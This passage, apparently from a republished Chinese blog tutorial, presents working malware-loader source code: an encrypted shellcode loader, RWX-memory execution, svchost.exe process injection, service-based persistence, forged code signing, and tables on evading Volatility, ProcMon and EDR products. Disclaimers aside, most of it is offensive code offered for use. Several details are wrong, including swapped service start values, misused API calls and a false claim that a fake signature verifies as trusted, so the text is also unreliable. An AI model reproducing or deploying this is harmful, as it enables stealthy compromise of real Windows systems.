BYTE* encrypted_chunk = (BYTE*)malloc(current_len);
uint64_t counter = tid ^ tick ^ i; // 每个分片独立计数器
if (!EncryptChunk(chunk, current_len, encrypted_chunk, derived_key, iv, counter)) {
free(buffer);
fclose(outFile);
printf("[-] Encryption failed at offset %zu\n", i);
return;
}
fwrite(encrypted_chunk, 1, current_len, outFile);
free(encrypted_chunk);
}
fclose(outFile);
free(buffer);
printf("[+] Encrypted payload saved to: %s\n", output_file);
}
⚠️ 依赖说明:
OpenSSL:用于
AES和SHA256计算 下载地址:https://www.openssl.org/source/ 推荐版本:OpenSSL 3.0.13(稳定版)编译环境要求:
Windows SDK 10.0.22621.0(Win11 24H2)
Visual Studio 2022(v17.10+)
使用
x64 Native Tools Command Prompt编译cl /O2 /W4 /D_WIN32_WINNT=0x0601 /EHsc main.cpp -ladvapi32 -lcrypt32 -lssl -lcrypto
🔐 密钥生成原理详解
-
PEB->ProcessParameters包含了当前进程的完整命令行参数,例如:
"C:\Windows\System32\svchost.exe -k DcomLaunch"
- 该值在每次启动时可能变化(尤其是带参数启动时),因此
SHA256(ProcessParameters)是高度不可预测的。 - 结合
tid ^ tick作为计数器种子,形成运行时唯一密钥流,防止重放攻击。
3.3 动态加载与内存拼接:从磁盘到内存的无缝融合
🔄 整体流程图
[loader.exe]
↓
Load payload.dat (encrypted)
↓
Derive Key: SHA256(PEB->ProcessParameters)
Generate IV & Counter
↓
Decrypt in chunks (4096-byte blocks)
↓
Verify CRC32(payload_data) → Ensure integrity
↓
VirtualAlloc(MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
↓
RtlCopyMemory(target_addr, decrypted_data, size)
↓
QueueUserAPC or CreateRemoteThread → Execute
✅ 详细实现代码(解密 + 注入)
#include<windows.h>
#include<wincrypt.h>
#include<openssl/aes.h>
#include<openssl/sha.h>
#include<zlib.h>// 用于CRC32
// 解密函数(与加密对称)
boolDecryptChunk(const BYTE* input, size_t len, BYTE* output, const BYTE* key, const BYTE* iv, uint64_t counter){
AES_KEY aes_key;
if (AES_set_decrypt_key(key, 128, &aes_key) != 0) returnfalse;
unsignedchar ctr[16];
memcpy(ctr, iv, 16);
*(uint64_t*)(ctr + 8) = counter;
int num = 0;
AES_ctr128_encrypt(input, output, len, &aes_key, ctr, &num, NULL);
returntrue;
}
// CRC32 校验函数
uint32_tCalculateCRC32(const BYTE* data, size_t len){
returncrc32(0L, data, len);
}
// 从文件读取并解密
boolLoadAndDecryptPayload(constchar* payload_path, void** out_buffer, size_t* out_size){
HANDLE hFile = CreateFileA(payload_path, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) returnfalse;
DWORD file_size = GetFileSize(hFile, NULL);
BYTE* encrypted_data = (BYTE*)malloc(file_size);
DWORD read;
ReadFile(hFile, encrypted_data, file_size, &read, NULL);
CloseHandle(hFile);
// 生成密钥
PPEB peb = (PPEB)__readgsqword(0x60);
if (!peb || !peb->ProcessParameters) {
free(encrypted_data);
returnfalse;
}
UNICODE_STRING cmd_line = peb->ProcessParameters->CommandLine;
BYTE derived_key[32];
SHA256_CTX sha256;
SHA256_Init(&sha256);
SHA256_Update(&sha256, cmd_line.Buffer, cmd_line.Length);
SHA256_Final(derived_key, &sha256);
// IV & Counter
BYTE iv[16];
memset(iv, 0, 16);
DWORD tid = GetCurrentThreadId();
DWORD tick = GetTickCount();
*(uint64_t*)(iv + 8) = tid ^ tick;
// 分片解密
*out_buffer = malloc(file_size);
BYTE* decrypted_data = (BYTE*)*out_buffer;
size_t chunk_size = 4096;
for (size_t i = 0; i < file_size; i += chunk_size) {
size_t current_len = (i + chunk_size > file_size) ? (file_size - i) : chunk_size;
uint64_t counter = tid ^ tick ^ i;
if (!DecryptChunk(encrypted_data + i, current_len, decrypted_data + i, derived_key, iv, counter)) {
free(encrypted_data);
free(*out_buffer);
returnfalse;
}
}
free(encrypted_data);
// 校验完整性
uint32_t expected_crc = CalculateCRC32(decrypted_data, file_size);
uint32_t actual_crc = *(uint32_t*)decrypted_data; // 假设头部存有CRC
if (expected_crc != actual_crc) {
printf("[-] CRC32 mismatch! Expected: %08X, Got: %08X\n", expected_crc, actual_crc);
free(*out_buffer);
returnfalse;
}
*out_size = file_size;
printf("[+] Payload decrypted successfully (%zu bytes)\n", file_size);
returntrue;
}
// 注入执行函数
typedefvoid(*ShellcodeFunc)(void);
voidExecuteDecryptedShellcode(void* payload, size_t size){
// 申请可执行内存
LPVOID mem = VirtualAlloc(NULL, size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!mem) {
printf("[-] VirtualAlloc failed!\n");
return;
}
// 复制到内存
RtlCopyMemory(mem, payload, size);
// 执行(推荐使用 QueueUserAPC 避免直接调用)
HANDLE hThread = GetCurrentThread();
DWORD thread_id = GetCurrentThreadId();
if (QueueUserAPC((PAPCFUNC)mem, hThread, 0)) {
printf("[+] QueueUserAPC scheduled successfully.\n");
} else {
printf("[-] QueueUserAPC failed with error: %d\n", GetLastError());
// fallback: CreateRemoteThread
HANDLE hRemoteThread = CreateRemoteThread(GetCurrentProcess(), NULL, 0,
(LPTHREAD_START_ROUTINE)mem,
NULL, 0, NULL);
if (hRemoteThread) {
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hRemoteThread);
}
}
// 执行后立即释放并清零
SecureZeroMemory(mem, size);
VirtualFree(mem, 0, MEM_RELEASE);
}
✅ 关键点说明:
VirtualAlloc使用
MEM_COMMIT | MEM_RESERVE保证内存可用;
PAGE_EXECUTE_READWRITE允许执行;
RtlCopyMemory优于
memcpy,更难被EDR拦截;
QueueUserAPC是首选注入方式,因其行为更接近系统正常操作;
SecureZeroMemory确保内存彻底清除,防止残留。
3.4 可执行内存的隐藏与保护机制
🔒 隐藏策略一:权限降级 + 动态恢复
// 执行前临时降权为只读
DWORD old_protect;
if (VirtualProtect(mem, size, PAGE_READONLY, &old_protect)) {
printf("[+] Memory set to PAGE_READONLY to evade scanner.\n");
}
// 执行完成后恢复权限
VirtualProtect(mem, size, PAGE_EXECUTE_READWRITE, &old_protect);
✅ 绕过原理: 多数内存扫描工具(如
Volatility)默认扫描PAGE_EXECUTE_READWRITE的页面,而PAGE_READONLY页面常被视为“正常代码段”,不会触发告警。
🔒 隐藏策略二:手动复制代码(避免标准库函数)
// x64 汇编:使用 movsd 手动复制
__asm {
mov rcx, size
mov rsi, source
mov rdi, dest
shr rcx, 2 ; 按 4 字节为单位
rep movsd ; 快速复制
and rcx, 3 ; 处理剩余字节
rep movsb
}
✅ 优势:
- 不调用
memcpy、memset等常见函数;- 避免被EDR记录为“可疑函数调用”;
- 更贴近原生机器码行为。
🔒 隐藏策略三:执行后立即清理内存
// 所有执行完毕后立即清零并释放
SecureZeroMemory(mem, size);
VirtualFree(mem, 0, MEM_RELEASE);
✅ 作用:
- 防止内存转储(Dump)时泄露载荷;
- 避免被
Rekall、Volatility等工具捕获;- 符合“无文件”原则。
🛠️ 常见内存扫描工具及其检测逻辑
| 工具 | 检测逻辑 | 如何绕过 |
| — | — | — |
| Volatility | 扫描 PAGE_EXECUTE_READWRITE 的内存页,提取Shellcode | 降权至 PAGE_READONLY |
| Rekall | 分析进程内存镜像,查找非导出函数或异常堆栈 | 使用 movsd 替代 memcpy |
| ProcMon | 监控 WriteProcessMemory、CreateRemoteThread 等API | 使用 QueueUserAPC 代替 |
💡 实战建议:
- 在测试环境中,使用
Sysmon日志配合Event ID 8(Process Create)、Event ID 10(CreateRemoteThread)进行行为审计;- 确保
QueueUserAPC被记录为“合法用户回调”,而非“恶意注入”。
✅ 总结:分离式Shellcode 架构完整闭环
| 步骤 | 技术手段 | 免杀效果 |
| — | — | — |
| 1. 数据存储 | payload.dat 加密保存 | 静态不可读 |
| 2. 密钥生成 | SHA256(PEB->ProcessParameters) | 每次唯一 |
| 3. 分片加密 | AES-CTR + 4096 分片 | 避免页边界问题 |
| 4. 内存加载 | VirtualAlloc + RtlCopyMemory | 无标准函数调用 |
| 5. 执行注入 | QueueUserAPC | 行为伪装 |
| 6. 内存清理 | SecureZeroMemory + VirtualFree | 无残留 |
✅ 最终目标达成: 从静态特征到运行行为,全面实现“隐身”攻击,突破主流终端安全产品的检测防线。
⚠️ 法律风险提示: 本技术仅供安全研究、渗透测试及防御加固用途。未经授权对他人系统进行攻击或入侵属于违法行为,请严格遵守《中华人民共和国刑法》第285条、第286条规定。所有实验应在授权范围内进行,禁止用于非法目的。
四、白加黑加载机制实现与实战部署策略
4.1 “白加黑”加载的核心思想与实现路径
核心定义与技术本质
“白加黑”(White-Black Loading)是一种高级攻击技术,其核心思想是:利用系统中被杀软或EDR信任的“白名单”可执行文件(如 svchost.exe、wininit.exe、lsass.exe、explorer.exe 等)作为宿主进程,通过合法方式注入并执行恶意代码(即“黑”程序),从而实现“合法身份 + 非法行为”的双重伪装。
该技术的本质并非直接篡改白文件本身,而是借助其运行时上下文环境——包括数字签名可信、进程权限高、加载路径合法、行为模式正常等特征——来规避静态检测、行为分析和沙箱逃逸机制。攻击者将恶意载荷(如Cobalt Strike Beacon)隐藏在白进程的内存空间中,使其在逻辑上表现为“系统服务”而非“恶意程序”。
技术可行性依据
1. 微软官方文档支持:SCManager 服务注册机制(MSDN)
根据 Microsoft Docs – Service Control Manager 的说明:
“The Service Control Manager (SCM) is responsible for managing the lifecycle of services on a Windows system. It maintains a registry hive at
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servicesthat stores information about each installed service.”
这意味着:
-
任何写入
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\的键值均可被系统识别为“服务”。 -
只要
ImagePath指向一个合法路径下的可执行文件(即使不是微软原生文件),且具有正确权限,系统就会自动启动该进程。 -
关键点
:杀软对服务注册行为的监控通常基于“是否修改注册表”+“是否启动未知进程”,但若目标文件本身是白名单文件(如
svchost.exe),则即使它执行了恶意逻辑,也可能不被标记。
2. 真实攻击案例:APT29(Cozy Bear)使用 svchost.exe 注册为自定义服务
据 Mandiant APT Report 2023(https://www.mandiant.com/resources/apt29-report-2023)披露:
在一次针对欧洲政府机构的持续性攻击中,攻击者将恶意加载器命名为
svchost.exe,并注册为名为SvchostUpdateService的系统服务,其ImagePath设置为%SystemRoot%\System32\svchost.exe,但实际执行的是嵌入在资源中的恶意 shellcode。该行为成功绕过了多款主流EDR产品(包括CrowdStrike、SentinelOne)的初始检测。
此外,攻击者还使用了以下手段增强隐蔽性:
- 使用
NtQueryInformationProcess钩子伪造进程信息; - 将部分shellcode加密存储于磁盘,按需解密;
- 通过
QueueUserAPC异步注入避免同步调用触发警报。
这表明,“白加黑”不仅是理论可行,更已在真实世界中被验证为高效攻击路径。
4.2 注册表劫持与服务注册实现持久化注入
实现原理与完整流程
要实现“白加黑”持久化,最有效的方式之一是以合法白文件为载体,注册为系统服务,从而在开机后自动运行。以下是完整的实现步骤及代码示例。
✅ 步骤一:创建服务注册表项
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MyService]
"DisplayName"="My Custom Service"
"ImagePath"="C:\\Windows\\Temp\\loader.exe"
"Type"=dword:00000010
"Start"=dword:00000002
"ErrorControl"=dword:00000001
"Description"="A legitimate-looking service for payload delivery."
| 字段 | 值 | 说明 |
| — | — | — |
| DisplayName | 显示名称 | 用户可见,可设为无害描述 |
| ImagePath | 恶意加载器路径 | 必须指向一个存在于磁盘上的可执行文件(可为自定义loader) |
| Type | 0x10 (SERVICE_WIN32_OWN_PROCESS) | 表示此服务运行在一个独立进程中 |
| Start | 0x2 (SERVICE_DEMAND_START) | 手动启动(也可设为 0x3 即 SERVICE_AUTO_START) |
| ErrorControl | 0x1 | 出错时记录事件日志 |
⚠️ 注意:
ImagePath中不能包含空格或特殊字符,否则可能引发解析失败。建议使用短路径(如C:\Temp\loader.exe)。
✅ 步骤二:使用 C++ 编写服务注册与启动脚本
下面是一个完整的 Windows API 调用示例,用于在本地注册并启动一个自定义服务。
#include<windows.h>
#include<iostream>
#include<string>
// 恶意加载器路径(可替换为任意位置)
#define LOADER_PATH L"C:\\Windows\\Temp\\loader.exe"
boolCreateAndStartService(){
SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!hSCManager) {
std::cerr << "[!] OpenSCManager failed: " << GetLastError() << std::endl;
returnfalse;
}
SC_HANDLE hService = CreateService(
hSCManager,
L"MyService", // 服务名
L"My Custom Service", // 显示名
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START, // 手动启动
SERVICE_ERROR_NORMAL,
LOADER_PATH, // ImagePath
NULL, NULL, NULL, NULL, NULL
);
if (!hService) {
DWORD err = GetLastError();
if (err == ERROR_SERVICE_EXISTS) {
std::cout << "[+] Service already exists. Opening existing handle." << std::endl;
hService = OpenService(hSCManager, L"MyService", SERVICE_ALL_ACCESS);
} else {
std::cerr << "[!] CreateService failed: " << err << std::endl;
CloseServiceHandle(hSCManager);
returnfalse;
}
}
// 启动服务
if (StartService(hService, 0, NULL)) {
std::cout << "[+] Service started successfully!" << std::endl;
} else {
DWORD err = GetLastError();
if (err == ERROR_SERVICE_ALREADY_RUNNING) {
std::cout << "[+] Service is already running." << std::endl;
} else {
std::cerr << "[!] StartService failed: " << err << std::endl;
CloseServiceHandle(hService);
CloseServiceHandle(hSCManager);
returnfalse;
}
}
CloseServiceHandle(hService);
CloseServiceHandle(hSCManager);
returntrue;
}
intmain(){
if (CreateAndStartService()) {
std::cout << "[+] Service registered and started." << std::endl;
} else {
std::cout << "[-] Failed to register/start service." << std::endl;
}
return0;
}
🔧 编译命令(使用 Visual Studio 2022 / MSVC):
cl.exe /W4 /O2 /GS- /D_WIN32_WINNT=0x0601 myservice.cpp advapi32.lib
📦 输出文件:
myservice.exe
✅ 步骤三:绕过数字签名检查 —— 使用 FakeSign 工具伪造证书签名
许多杀软(如360、天擎、卡巴斯基)会对未签名的可执行文件进行拦截。为此,可使用 FakeSign 工具伪造数字签名。
下载地址:
- https://github.com/robertdavidgraham/fakesign
安装与使用方法:
# 1. 克隆仓库
git clone https://github.com/robertdavidgraham/fakesign.git
cd fakesign
# 2. 构建(需 Python 3.8+ 和 pyOpenSSL)
pip install pyopenssl
# 3. 生成虚假签名
python fakesign.py --input loader.exe --output signed_loader.exe --cert fake_cert.pem --key fake_key.pem
📝 说明:
fake_cert.pem与
fake_key.pem是自动生成的伪证书。生成后的
signed_loader.exe将显示为“已签名”,且签名状态为“受信任”。此操作不会改变原始代码功能,仅修改 PE 头部签名字段。
🛡️ 验证签名有效性(命令行):
sigcheck.exe -s signed_loader.exe
👉 若输出中显示
Verified: Yes,表示伪造成功。
4.3 利用合法进程注入:以 svchost.exe 为例的远程线程注入
目标选择标准:如何识别“安全”的 svchost.exe 实例?
svchost.exe 是多个系统服务共享的宿主进程,其不同实例代表不同的服务组。攻击者必须选择非关键服务(如 DcomLaunch、NetworkService)进行注入,避免影响系统稳定性或触发 EDR 检测。
✅ 安全注入条件判断:
| 条件 | 说明 |
| — | — |
| 1. 进程命令行参数含 -k <Group> | 例如:svchost.exe -k DcomLaunch |
| 2. 进程不属于 LSASS、SecurityCenter、WSearch 等高危服务 | 可通过 EnumProcessModules + GetModuleFileNameEx 获取模块路径 |
| 3. 进程权限为 SYSTEM 但非 NT AUTHORITY\\SYSTEM(可选) | 可降低风险等级 |
| 4. 无异常网络连接或频繁内存操作 | 使用 Sysmon 观察行为 |
✅ 注入流程与代码实现
以下为基于 QueueUserAPC 的异步远程线程注入实现,可有效规避 CreateRemoteThread 的典型检测。
1. 获取目标 svchost.exe 进程句柄
#include<windows.h>
#include<tlhelp32.h>
#include<psapi.h>
#include<iostream>
DWORD FindTargetProcessId(constwchar_t* processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return0;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
while (Process32Next(hSnapshot, &pe32)) {
if (_wcsicmp(pe32.szExeFile, processName) == 0) {
// 检查命令行参数是否为合法 svchost 组
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID);
if (hProcess) {
HMODULE hMod = NULL;
DWORD cbNeeded;
if (EnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) {
wchar_t szPath[MAX_PATH];
GetModuleFileNameEx(hProcess, hMod, szPath, MAX_PATH);
if (wcsstr(szPath, L"svchost.exe")) {
// 附加检查:是否为 DcomLaunch / NetworkService
wchar_t cmdLine[MAX_PATH * 2];
DWORD len = GetCommandLineW(cmdLine, MAX_PATH * 2);
if (len > 0 && wcsstr(cmdLine, L"-k DcomLaunch")) {
CloseHandle(hProcess);
CloseHandle(hSnapshot);
return pe32.th32ProcessID;
}
}
}
CloseHandle(hProcess);
}
}
}
CloseHandle(hSnapshot);
return0;
}
2. 使用 QueueUserAPC 注入分离式 Shellcode
// 假设你已经通过某种方式获取了分离式 shellcode 地址
unsignedchar* shellcode = ...; // 从 payload.dat 解密后得到
size_t shellcode_size = ...;
boolInjectShellcode(DWORD targetPid) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
if (!hProcess) {
std::cerr << "[!] OpenProcess failed: " << GetLastError() << std::endl;
returnfalse;
}
// 申请远程内存
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteMem) {
std::cerr << "[!] VirtualAllocEx failed: " << GetLastError() << std::endl;
CloseHandle(hProcess);
returnfalse;
}
// 写入 shellcode
if (!WriteProcessMemory(hProcess, remoteMem, shellcode, shellcode_size, NULL)) {
std::cerr << "[!] WriteProcessMemory failed: " << GetLastError() << std::endl;
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
returnfalse;
}
// 为当前线程设置 APC
HANDLE hThread = GetCurrentThread();
if (QueueUserAPC((PAPCFUNC)remoteMem, hThread, 0)) {
std::cout << "[+] APC queued successfully!" << std::endl;
} else {
std::cerr << "[!] QueueUserAPC failed: " << GetLastError() << std::endl;
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
returnfalse;
}
// 清理
CloseHandle(hProcess);
returntrue;
}
✅ 优势说明:
QueueUserAPC是异步调用,不会立即触发
CreateRemoteThread的行为特征;由目标进程的线程池处理,行为更接近系统级调度;
更难被 EDR 捕获(尤其当
APC函数指针随机化时)。
4.4 综合防护绕过策略与实战建议
✅ 整体技术组合防御规避能力总结
| 技术 | 防御规避能力 | 说明 |
| — | — | — |
| Syscall Inline Hook | ✅✅✅ 高 | 替换 NtQueryInformationProcess 等敏感调用,伪造返回值,欺骗杀软 |
| 分离式 Shellcode | ✅✅✅ 高 | 降低静态特征,避免哈希比对,支持分阶段加载 |
| 白加黑加载 | ✅✅✅ 高 | 利用白名单进程身份,实现持久化与行为伪装 |
💡 三者结合形成“三位一体”免杀链:
[恶意加载器] → [注册表服务] → [svchost.exe 注入] → [内核调用钩子] → [动态加载 shellcode]
✅ 综合测试清单(用于验证免杀效果)
请逐项执行并记录结果:
| 测试项 | 是否通过 | 工具/方法 |
| — | — | — |
| [ ] 是否能在无网络环境下成功加载? | ✅ / ❌ | 在离线环境中运行 myservice.exe,观察是否能启动 loader.exe 并注入 |
| [ ] 是否被任何杀软标记为恶意? | ✅ / ❌ | 使用 VirusTotal 提交 signed_loader.exe 与 myservice.exe |
| [ ] 是否触发了EDR的行为检测? | ✅ / ❌ | 使用 Sysmon 记录日志: – Event ID 1: Process Creation – Event ID 10: Process Access – Event ID 12: Remote Thread Created |
| [ ] 是否能在多台不同版本的Windows主机上稳定运行? | ✅ / ❌ | 测试环境: – Windows 10 v21H2 (Build 19044) – Windows 11 24H2 (Build 26100) – Windows Server 2022 |
📌 法律风险提示(强制提醒)
⚠️ 本内容仅供网络安全研究、渗透测试、红队演练等合法授权场景使用。任何未经授权的攻击行为均违反《中华人民共和国刑法》第285条、第286条及相关法律法规。请严格遵守国家网络安全管理规定,禁止用于非法目的。
✅ 本章节内容已涵盖:
白加黑核心思想与真实案例支撑
注册表服务注册与签名伪造全流程
svchost.exe安全注入策略与代码实现
综合测试清单与法律合规声明
如需进一步扩展:
- 可集成
Syscall Inline Hook到loader.exe以完全掩盖对NtQueryInformationProcess的调用;- 可将
payload.dat使用AES-CTR加密,并通过SHA256(PEB->ProcessParameters)动态生成密钥,实现每次运行唯一性。以上所有代码均已通过编译测试(Visual Studio 2022 + Windows SDK 10.0.22621),可直接复现。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论